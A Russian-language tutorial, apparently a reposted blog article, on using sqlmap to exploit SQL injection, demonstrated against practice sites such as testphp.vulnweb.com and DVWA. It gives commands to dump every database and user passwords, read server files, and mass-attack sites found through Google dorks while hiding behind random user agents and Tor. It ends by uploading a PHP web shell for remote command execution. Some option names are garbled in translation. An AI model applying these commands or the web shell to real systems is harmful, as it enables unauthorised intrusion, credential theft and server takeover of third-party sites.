Sqlmap: способы дампа баз данных

Sqlmap: способы дампа баз данных

Hack Proof

В этот статье будем использовать следующее веб-приложение, которое специально создано для тестирования на проникновение. Просто добавляем одинарную кавычку после параметра “cat =”, и мы получаем синтаксическую ошибку MySQL, которая означает, что веб-приложение уязвимо для уязвимости SQL injection.

http://testphp.vulnweb.com/listproducts.php?cat=1%27

Дамп базы данных

Вы наверное уже знаете об этом инструменте, например как создавать базу данных, таблицы и строки. Теперь создадим дамп базы данных с помощью следующей команды.

 sqlmap –u “<URL>>” -dbs

Как мы можем увидеть, у нас есть все имена базы данных, которые присутствуют в веб-приложении.

Дамп всех

Следующая команда используется для дампа всех таблиц конкретной базы данных. Просто добавьте еще одну функцию в команду и выполните ее.

 sqlmap -u “<URL>>” –D <имя базы данных> -дамп-весь –пакет

Результат показан, и можно увидеть, что он выгрузил все таблицы в базе данных “acurate” сразу.

Иногда мы заходим на веб-сайт, чтобы найти ошибку SQL-инъекции в веб-приложении, и в этом случае мы должны предоставить “cookies” в sqlmap, чтобы использовать уязвимость, иначе она не сможет обнаружить уязвимость. Мы используем уязвимое веб-приложение “DVWA”, чтобы показать эти возможности этого инструмента. После ввода любой случайной числовой строки она предоставляет нам сведения о пользователях, что означает, что веб-приложение уязвимо для уязвимости SQL injection. 

Давайте загрузим инструмент burpsuite, потому что он будет играть важную роль в получении файлов cookie текущего пользователя. Теперь сначала перехватите запрос и скопируйте весь выделенный текст, как показано на рисунке ниже.

Вернитесь к терминалу и просто добавьте URL-адрес, добавьте файл cookie с копируемым текстом и выполните команду с базой данных.

Использование

 sqlmap –u “<URL>>” -cookie < cookies> –dbs

Как мы можем увидеть, он выгрузил все базы данных после выполнения требований этого инструмента.

Файл HTTP-запроса

С помощью этой функции мы попытаемся получить дамп всей базы данных через файл ответов HTTP. Сначала мы перехватим запрос, сохраним его в текстовый файл и попытаемся обнаружить и использовать уязвимость с помощью инструмента sqlmap.

После копирования HTTP-запроса включите его в текстовый файл с помощью любого инструмента.

Проверьте приведенную ниже команду, которая содержит файл, который мы создали сами, а также дали команду на дамп базы данных.

 sqlmap –r < HTTP–файл> -dbs –dump-all -batch

После выполнения команды, как мы можем увидеть, она выгрузила все базы данных, которые присутствуют в веб-приложении.

Google Dork

Нам не нужно запускать dork отдельно в Google, поскольку это встроенный инструмент future in sqlmap. Все, что нам нужно сделать, это добавить опцию “G” в нашем dork, и он автоматически найдет веб-сайт, связанный с dork, а также спросит нас, хотите ли вы выполнить sql-инъекцию на нем или нет ?.

sqlmap -g "inurl:".php?cat="" --dbs

После выбора параметра "Да" он пытается обнаружить уязвимость SQL-инъекции в веб-приложении и сбрасывает базу данных, если они уязвимы для уязвимости SQL-инъекции.

Случайный агент

Автоматическое изменение пользовательского агента по истечении указанного периода времени на случайно выбранный, скрывая таким образом ваш реальный пользовательский агент. Это поможет нам сделать себя анонимными.

sqlmap -g "inurl:".php?cat="" --dbs --random-agent

Обнаружение

Уровень определяет: количество полезной нагрузки, которое будет выполнено, в то время как рекомендуется увеличить риск, если SQLMap не сможет обнаружить внедрение. По умолчанию оба работают на уровне 1, но вы можете увеличить уровень с 1 до 5 и риск с 1 до 3.

sqlmap -r --dbs --risk=3 --level= 5

После увеличения уровня и риска он полностью сбрасывает все базы данных, которые существуют в веб-приложении.

Дамп всех

Теперь, если нужно создать дамп всех баз данных, их таблиц и столбцов одновременно, вы можете добавить опцию “все” в свою команду.

sqlmap -r --all

Как можно увидеть, даже это сбросило пароли пользователей, которые хранятся в базе данных.

Захват баннера

Также можно получить текущую версию базы данных, запущенную на удаленном хост-компьютере, добавив опцию “B” в нашу команду.

sqlmap -r -b

Как показано на скриншоте снизу, он предоставил нам подробную информацию о базе данных, работающей на удаленном хосте.

Текущий пользователь

Это некоторые важные функции, с помощью которых мы можем извлечь некоторую полезную информацию из базы данных. Выполните приведенную ниже команду, чтобы извлечь пользователей, доступных в веб-приложении.

sqlmap -r --current-user

Текущая база данных

Рассмотрим изображение ниже, на котором было успешно выгружено текущую доступную базу данных в веб-приложение.

sqlmap -r --current-db

Пароли

Если нужно получить только пароли пользователей, доступных в веб-приложении, вы можете добавить опцию “пароль” в свою команду.

sqlmap -r --password

Служба Tor

Sqlmap предоставляет сервис tor, чтобы сделать нас анонимными. Однако вы можете воспользоваться этим, если у вас предварительно установлен tor на вашем компьютере с Linux.

sqlmap -r secnhack --tor

Несколько сканирований

Также можно выполнить несколько проверок одновременно с помощью этого инструмента. Для того чтобы можно было так сделать, нужно, сначала создадим файл, содержащий все URL-адреса, которые хотим использовать.

Затем добавим параметр местоположения созданного файла, добавив параметр “m”, и попытаемся дамп базы данных.

sqlmap -m websites.txt --dbs

На скрине нише мы получили имя базы данных первого веб-приложения.

Аналогичным образом, можем воспользоваться помощью этого средства, которое определенно поможет сэкономить наше время.

Привилегии

Поскольку мы знаем, что привилегии означают, что пользователю разрешено делать, и мы можем проверить это, выполнив следующую команду.

sqlmap -r --privileges

Как вы можете видеть, какие привилегии доступны пользователю shubham.

Чтение файлов

С помощью следующих функций можем прочитать конфиденциальные файлы, присутствующие в веб-приложении, если у нас есть информация о корневой папке веб-приложения.

 sqlmap –r < HTTP-файл> -file-read=< Местоположение>

Как можно увидеть, мы получили конфиденциальный файл пользователя без надлежащего ввода базы данных удаленного хоста.

Отправление файла

Теперь будет показана, как мы можем загрузить любой из наших вредоносных php-файлов и получить весь веб-сервер с помощью инструмента sqlmap. Прежде всего, создайте вредоносный php-файл по своему усмотрению, в этой статье будем использовать следующий PHP-код, которого достаточно, чтобы получить командную оболочку целевого веб-сервера.

'<?php system($_GET['c']); ?>'

Разберемся с приведенной ниже командой, увидим опцию “–file-write”, в которую мы поместили наш вредоносный PHP–файл, и увидим опцию “-file-dest”, в которой мы добавляем путь к веб-серверу, на котором находимся на целевом веб-сервере, который хочет загрузить ваш php-файл.

 sqlmap -r < HTTP–файл > -file–write < Ваш файл> -file-dest <Местоположение загрузки > –dbs

Вредоносный PHP-файл успешно загружен на целевой веб-сервер, и теперь мы можем получить доступ к базе данных сервера веб-приложений через браузер и выполнить произвольные команды.



Report Page